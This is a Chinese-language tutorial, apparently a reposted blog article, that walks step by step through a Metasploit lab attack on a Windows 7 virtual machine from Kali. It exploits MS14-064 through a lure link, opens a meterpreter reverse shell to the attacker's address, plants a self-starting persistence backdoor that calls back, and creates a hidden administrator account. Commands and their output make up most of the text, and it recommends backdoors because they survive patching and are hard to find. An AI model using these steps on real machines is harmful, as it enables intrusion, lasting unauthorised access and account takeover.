?在 VMware 上建立兩個虛擬機(jī):win7 和 kali。
Kali:它是 Linux 發(fā)行版的操作系統(tǒng),它擁有超過 300 個滲透測試工具,就不用自己再去找安裝包,去安裝到我們自己的電腦上了,畢竟自己從網(wǎng)上找到,也不安全。它甚至還集成了 600 多種黑客工具,很強(qiáng)大。
可以永久免費使用,基本上學(xué)黑客攻擊必會用到這個系統(tǒng)。
靶機(jī):Win7 64位 (IP: 192.168.10.45)--
用 ipconfig 進(jìn)行查詢。
攻擊機(jī):Kali (IP:192.168.10.21)--
用 ifconfig 進(jìn)行查詢。
【一一幫助安全學(xué)習(xí),所有資源獲取處一一】
①網(wǎng)絡(luò)安全學(xué)習(xí)路線
②20 份滲透測試電子書
③安全攻防 357 頁筆記
④50 份安全攻防面試指南
⑤安全紅隊滲透工具包
⑥網(wǎng)絡(luò)安全必備書籍
⑦100 個漏洞實戰(zhàn)案例
⑧安全大廠內(nèi)部視頻資源
⑨歷年 CTF 奪旗賽題解析
1、實驗環(huán)境前提條件
win7 中,關(guān)閉防火墻(“打開網(wǎng)絡(luò)和共享中心”-“Windows 防火墻”-“打開或關(guān)閉 Windows 防火墻”-均選擇關(guān)閉選項)。
保證兩個虛擬機(jī)是可以 ping 通的(尤其是在 kali 中去 ping win7,看能否連通)。$ping 192.168.10.45
2、打開 Metasploit 滲透工具
Metasploit 是一款開源的安全漏洞檢測工具,msfconsole 用于啟動 msf 終端:
>msfconsole
復(fù)制代碼
**結(jié)果:**成功進(jìn)入,進(jìn)入到"msf6>“的模式下
3、查看需要利用的漏洞
搜索漏洞,編號為 MS14-064。
MS14-064 為 Windows OLE 自動化陣列遠(yuǎn)程代碼執(zhí)行漏洞。當(dāng) IE 不作訪問內(nèi)存中的對象時,存在遠(yuǎn)程代碼執(zhí)行漏洞。OLE(對象鏈接與嵌入)是一種允許應(yīng)用程序共享數(shù)據(jù)和功能的技術(shù),遠(yuǎn)程攻擊者利用此漏洞通過構(gòu)造的網(wǎng)站執(zhí)行任意代碼,用戶使用 IE 瀏覽器查看該網(wǎng)站時允許遠(yuǎn)程執(zhí)行代碼。
【補(bǔ)充:Windows 系統(tǒng)漏洞微軟的漏洞編號命名格式為:MS14-064;
MS Micosoft 的縮寫,固定格式;14 表示年份,即 2014 年發(fā)布的漏洞;064 表示順序,即當(dāng)年度發(fā)布的第 64 個漏洞。
>search ms14-064
復(fù)制代碼
**結(jié)果:**可以看到返回了多條可利用的漏洞模塊信息
4、嘗試?yán)闷渲幸粋€漏洞模塊進(jìn)行攻擊
利用其中一個漏洞攻擊模塊-0 模塊,進(jìn)行攻擊,進(jìn)入模塊中(注意:必須是“_”,不是“-”,否則會報錯)。
>use exploit/windows/browser/ms14_064_ole_code_execution
復(fù)制代碼
**結(jié)果:**成功切換到這個模塊之下--”msf6 exploit(windows/browser/ms14_064_ole_code_execution)>“
并提示“no payload configured,defaulting to windows/meterpreter/reverse_tcp”--
沒有配置 payload,默認(rèn)為 windows/meterpreter/reverse_tcp
5、查看該漏洞模塊所需的參數(shù)情況
進(jìn)到這個漏洞模塊之后,先查看該測試模塊的參數(shù)情況。類似于你使用一軟件,進(jìn)行攻擊,是不是需要先進(jìn)行一些簡單的參數(shù)配置啊,需要告訴軟件,要向誰發(fā)起攻擊吧,這是最最基本的,所以,要配置,就要先查看都可以配置哪些參數(shù)。
>show options
復(fù)制代碼
**結(jié)果:**其中 required 顯示的值為 yes 的,代表是必須要設(shè)置的項;顯示的值為 no 的,代表是不必須要設(shè)置的項;
重點關(guān)注 6 個參數(shù)配置,需要設(shè)置哪個就設(shè)置哪個:
Payload (攻擊載體-使用默認(rèn)的 windows/meterpreter/reverse_tcp 即可) ;
SRVHOST (文件共享服務(wù)器-kali 地址);
SRVPORT (文件共享服務(wù)器的端口-使用默認(rèn)獲取的端口即可);
LHOST (發(fā)起攻擊的地址-kali 地址);
LPORT (發(fā)起攻擊的端口-使用默認(rèn)獲取的端口即可);
AllowPowershellPrompt (開啟瀏覽器插件,默認(rèn)為 false)
【補(bǔ)充說明:
1)Payload 中包含有需要在遠(yuǎn)程系統(tǒng)中運(yùn)行的惡意代碼,Payload 是一種特殊模塊,它們能夠以漏洞利用模塊運(yùn)行,并能夠利用目標(biāo)系統(tǒng)中的安全漏洞實施攻擊。也就是說,漏洞利用模塊可以訪問目標(biāo)系統(tǒng),而其中的代碼定義了 Payload 在目標(biāo)系統(tǒng)中的行為。
2)Payload 模塊主要有以下三種類型:-Single -Stager -Stage
Single 是一種完全獨立的 Payload,實現(xiàn)的目的也簡單,但容易被捕捉到。
Stager 這種 Payload 負(fù)責(zé)建立目標(biāo)用戶與攻擊者之間的網(wǎng)絡(luò)連接,并下載額外的組件或應(yīng)用程序。 一種常見的 Stagers Payload 就是 reverse_tcp,它可以讓目標(biāo)系統(tǒng)與攻擊者建立一條 tcp 連接(3 次握手-4 次揮手)(是一個基于 TCP 的反向鏈接反彈 shell, 使用起來很穩(wěn)定)。
Stage 是 Stager Payload 下載的一種 Payload 組件,這種 Payload 可以提供更加高級的功能,而且沒有大小限制。
3)windows/x64/meterpreter/reverse_tcp 則由一個 Stager Payload(reverse_tcp)和一個 Stage Payload(meterpreter)組成。
注意:Payload 為 windows/meterpreter/reverse_tcp 默認(rèn)獲取到的控制通道 meterpreter 為 32 位,
如果想將之后獲取到的控制通道 meterpreter 改為 64 位,則設(shè)置。payload:windows/x64/meterpreter/reverse_tcp
6、設(shè)置文件共享服務(wù)器
發(fā)現(xiàn) SRVHOST 為空,待設(shè)置,其它(payload/SRVPORT/LHOST/LPORT)
均已獲取,且正確,設(shè)置 SRVHOST 的對應(yīng)的參數(shù)地址,它指的是文件共享服務(wù)器的地址,想一想,要設(shè)成誰?為什么?
分析一下:是在哪里用到這個文件共享服務(wù)器?是不是會在生成一個網(wǎng)址,誘導(dǎo)用戶點擊了,就會直接連接到發(fā)起攻擊的主機(jī)上。那你們覺得應(yīng)該是誰生成這個連接呢?是用戶那邊么?還是攻擊者這邊?肯定是攻擊者這邊吧,我們是不知道會有誰點了這個網(wǎng)站鏈接吧。
所以,我們才會對這個文件共享服務(wù)器的地址設(shè)置為 kali 的地址
>set SRVHOST 192.168.10.21
復(fù)制代碼
7、開啟瀏覽器插件
要把 AllowPowershellPrompt 的默認(rèn)參數(shù) false 改為 true,因為 msf 中自帶的漏洞是利用 exp 調(diào)用的是 powershell(powershell 是一種命令外殼程序和腳本環(huán)境),所以 msf 的 exp 代碼只對安裝了 powershell 的系統(tǒng)生效。
>set AllowPowershellPrompt true
復(fù)制代碼
8、再次進(jìn)行檢查
查看對 SRVHOST 和 AllowPowershellPrompt 進(jìn)行的修改,是否修改成功
>show options
復(fù)制代碼
9、檢查無誤后,發(fā)起攻擊
>run
復(fù)制代碼
**結(jié)果:**生成一個網(wǎng)站的鏈接“Using URL : http://192.168.10.21:8080/xE6RxjSy
,開啟服務(wù),光標(biāo)停留在這,等待有人點擊該網(wǎng)站鏈接。
10、打開網(wǎng)站鏈接
到 win7 中,在 IE 瀏覽器中打開網(wǎng)站鏈接: http://192.168.10.21:8080/xE6RxjSy
,會提示是否允許打開一個文件,選擇“允許”之后,即可觸發(fā)會話連接。
**結(jié)果 1:**在 win7 中打開鏈接后,不會有任何的反饋結(jié)果。
**結(jié)果 2:**由于在 win7 中觸發(fā)打開了網(wǎng)址鏈接,那么,在 kali 中,則會觸發(fā)會話連接,結(jié)果顯示了是 192.168.10.45(目標(biāo)主機(jī) win7)嘗試點擊了該網(wǎng)站鏈接,于是,kali 利用 MS14-064 漏洞模塊對目標(biāo)主機(jī)發(fā)起了攻擊,最終,“meterpreter session 1 opened”--
表明已經(jīng)開通 192.168.10.21:4444 和 192.168.10.45:49191 會話連接 1。
一般會自動進(jìn)入控制通道 meterpreter,交互模式,表明攻擊成功。
注意:
一旦開通一個會話連接后,若系統(tǒng)沒有自動進(jìn)入控制通道,則可以嘗試回車,進(jìn)行手動連接。
1)手動查看當(dāng)前存在的會話
注意在目錄 msf>下,手動查看當(dāng)前存在的會話。
**結(jié)果:**當(dāng)前只有會話連接 1,meterpreter 建立的連接類型 type 是 x86--32 位的(由模塊中的 payload 設(shè)定),以及展示目標(biāo)主機(jī) 192.168.10.45 的基本信息和連接信息。
>sessions
復(fù)制代碼
2)選擇連接當(dāng)前已經(jīng)開通的會話 1
>sessions -i 1
復(fù)制代碼
**結(jié)果:**成功進(jìn)入控制通道 meterpreter,交互模式,表明攻擊成功。
11、植入后門程序
在 kali 控制 win7 后,通過 persistence,在目標(biāo)主機(jī)上生成一個后門程序,以便后續(xù)不再通過 MS14-064 漏洞進(jìn)行二次入侵,而是通過這個后門文件來入侵該主機(jī)【注意在控制通道 meterpreter>下】。
注意:因為這個 MS14-064 漏洞很容易被修復(fù),一旦目標(biāo)主機(jī)進(jìn)行定期修補(bǔ)漏洞,那么通過 MS14-064 漏洞進(jìn)行入侵的路徑,就會失效,但植入的后門程序是不容易被發(fā)現(xiàn)和修復(fù)的,所以一旦入侵成功后,建議嘗試植入后門程序。
通過 persistence(支持多種方式啟動)植入固定的后門程序,設(shè)置相關(guān)參數(shù),設(shè)置回連地址和端口號。
>run persistence -S -U -X -i 5 -p 40000 -r 192.168.10.21
復(fù)制代碼
重點關(guān)注 6 個參數(shù)配置:
-S:系統(tǒng)啟動時自動加載本程序(因為該后門程序是不能被目標(biāo)用戶發(fā)現(xiàn),更不需要讓目標(biāo)主機(jī)進(jìn)行點
擊啟動的,所以需要該程序有自動加載的功能);
-U:用戶登陸時自動加載本程序;
-X:開機(jī)時自動加載本程序;
-i: 自動加載后,回連的時間間隔,即后門每隔多少秒嘗試連接回連地址;
-r: 自動加載后,回連的主機(jī)地址,回連到誰啊,自然是入侵的 kali 的地址;
-p:自動加載后,回連的端口號,即 kali 地址的端口號,理論上可隨意設(shè)置,但范圍不要超過 65535,且
不可設(shè)置為常見的特殊的端口號;
**結(jié)果 1:**在 kali 中提示,成功生成一個后門程序 yqLAOjt.vbs,自動加載后會回連到192.168.10.21:40000
,并保存于目標(biāo)主機(jī) win7 中的C:\Users\18044\AppData\Local\Temp\
目錄下。
【**注意:**payload 自動設(shè)置為“windows/meterpreter/reverse_tcp”
,LHOST 設(shè)置為192.168.10.21,LPORT設(shè)置為40000
】
**結(jié)果 2:**在 win7 中的 C:\Users\18044\AppData\Local\Temp\目錄下,成功找到從攻擊主機(jī) kali 植入的后門程序 yqLAOjt.vbs
【補(bǔ)充知識點:
1)端口號范圍:0~65535
2)常見端口號列舉
12、掛起當(dāng)前會話
在成功植入后門程序后,我們還需要對該后門程序進(jìn)行驗證,驗證是否可以通過該后門程序成功入侵目標(biāo)主機(jī) win7,所以可先將當(dāng)前通過 MS14-064 漏洞開啟的會話連接掛起(background)或斷開(exit),均可
meterpreter>background
復(fù)制代碼
**結(jié)果:**成功將 session 會話 1 掛起到后臺,并沒有斷開連接,且成功切換到 msf >目錄下
13、開啟監(jiān)聽模塊
利用后門程序進(jìn)行攻擊,需要打開一個監(jiān)聽模塊,能夠反彈 shell 監(jiān)聽模塊,進(jìn)行攻擊,進(jìn)入模塊中
>use exploit/multi/handler
復(fù)制代碼
**結(jié)果:**成功切換到這個模塊之下--”msf6 exploit(multi/handler)>“
并提示“Using configured payload generic/shell_reverse_tcp”--
使用的payload為generic/shell_reverse_tcp
14、查看該監(jiān)聽模塊所需的參數(shù)情況
進(jìn)到這個監(jiān)聽模塊之后,先查看該模塊的參數(shù)情況。類似于你使用一軟件,進(jìn)行攻擊,是不是需要先進(jìn)行一些簡單的參數(shù)配置啊,需要告訴軟件,要向誰發(fā)起攻擊吧,這是最最基本的,所以,要配置,就要先查看都可以配置哪些參數(shù)?
>show options
復(fù)制代碼
**結(jié)果:**其中 required 顯示的值為 yes 的,代表是必須要設(shè)置的項;顯示的值為 no 的,代表是不必須要設(shè)置的項;
重點關(guān)注 3 個參數(shù)配置,需要設(shè)置哪個就設(shè)置哪個:
Payload:攻擊載體;
LHOST:回連地址;
LPORT:回連端口號;
15、設(shè)置攻擊載體、回連地址以及端口號
因為我們要開啟的這個監(jiān)聽模塊,是專門針對于 yqLAOjt.vbs 后門程序,進(jìn)行實時監(jiān)聽,那么,必然需要將監(jiān)聽模塊的參數(shù)配置,與 yqLAOjt.vbs 后門程序的參數(shù)配置保持一致,只有這樣,才能達(dá)到準(zhǔn)確的監(jiān)聽
之前制作 yqLAOjt.vbs 的參數(shù)為:
"run persistence -S -U -X -i 5 -p 40000 -r 192.168.10.21"
復(fù)制代碼
因此,我們也就需要將監(jiān)聽模塊的攻擊載體 Payload,與后門程序的 payload 保持一致:
>set payload windows/meterpreter/reverse_tcp
復(fù)制代碼
需要將監(jiān)聽模塊的回連地址 LHOST,與后門程序的 LHOST 保持一致:
>set LHOST 192.168.10.21
復(fù)制代碼
需要將監(jiān)聽模塊的回連地址的端口號 LPORT,與后門程序的 LPORT 保持一致:
>set LPORT 40000
復(fù)制代碼
16、再次進(jìn)行檢查
>show options
復(fù)制代碼
17、檢查無誤后,發(fā)起攻擊
>run
復(fù)制代碼
**結(jié)果:**開啟針對192.168.10.21:40000
的監(jiān)聽模式,因為 yqLAOjt.vbs 后門程序已經(jīng)設(shè)置了自動加載,所以一旦開啟監(jiān)聽模塊,立即會有反饋信息回連到192.168.10.21:40000
上來。
最終,“meterpreter session 2 opened”--
表明已經(jīng)開通192.168.10.21:40000和192.168.10.45:49227
的會話連接 2。
一般會自動進(jìn)入控制通道 meterpreter,交互模式,表明攻擊成功。
【注意:
此時,將當(dāng)前開啟的會話進(jìn)行掛起操作--background,再查看當(dāng)前已存在的會話--sessions,結(jié)果會得到已開啟兩個會話連接信息,要對這兩個會話連接進(jìn)行區(qū)分,分清楚,第一個會話連接是通過 MS14-064 漏洞開啟的,第二個會話連接是通過后門程序開啟的
18、創(chuàng)建用戶、設(shè)置密碼
1)拿到 shell 權(quán)限,獲得控制臺權(quán)限,可以獲取系統(tǒng)的控制臺C:\Windows\system32
meterpreter>shell
復(fù)制代碼
2)進(jìn)入后,可能會有亂碼的情況,解決亂碼問題
C:\Windows\system32>chcp 65001
復(fù)制代碼
3)顯示 win7 系統(tǒng)中所有的用戶
C:\Windows\system32>net user
復(fù)制代碼
4)創(chuàng)建用戶
創(chuàng)建用戶,用戶名為 test,密碼為 test【net user 用戶名 密碼 /add】
C:\Windows\system32>net user test test /add
復(fù)制代碼
也可以不設(shè)置密碼,只創(chuàng)建用戶名為 test1 的無密碼用戶【net user 用戶名 /add】
C:\Windows\system32>net user test1 /add
復(fù)制代碼
**結(jié)果 1:**在 kali 中,若結(jié)果顯示“the commad completed successfully”
—代表“命令執(zhí)行成功” ,用戶創(chuàng)建成功 ;
若結(jié)果顯示“system error 5 has occurred;access is denied”
—“發(fā)生系統(tǒng)錯誤 5; 拒絕訪問”-----代表權(quán)限不夠的問題,需要**進(jìn)行提權(quán),可以利用 bypassuac 或者 Windows 內(nèi)核漏洞進(jìn)行提權(quán)
**結(jié)果 2:**在 win7 中,”控制面板“---”添加或刪除用戶賬戶“,查看成功新建的用戶 test(標(biāo)準(zhǔn)用戶--密碼保護(hù))、test1(標(biāo)準(zhǔn)用戶--無密碼)
5)將新用戶添加到 administrator 分組--提升到管理員權(quán)限【net localgroup administrators 用戶名 /add】
C:\Windows\system32>net localgroup adminis trators test1 /add
復(fù)制代碼
**結(jié)果 1:**在 kali 中,顯示“the commad completed successfully”
—代表“命令執(zhí)行成功” ,成功添加到 administrator 分組,提升管理員權(quán)限成功 ;
**結(jié)果 2:**在 win7 中,”控制面板“---”添加或刪除用戶賬戶“,查看新建的用戶 test1 用戶由之前的”標(biāo)準(zhǔn)用戶“提升至”管理員“,提升權(quán)限成功。文章來源:http://www.zghlxwxcb.cn/news/detail-482034.html
文章來源地址http://www.zghlxwxcb.cn/news/detail-482034.html
到了這里,關(guān)于網(wǎng)絡(luò)安全實戰(zhàn)植入后門程序的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!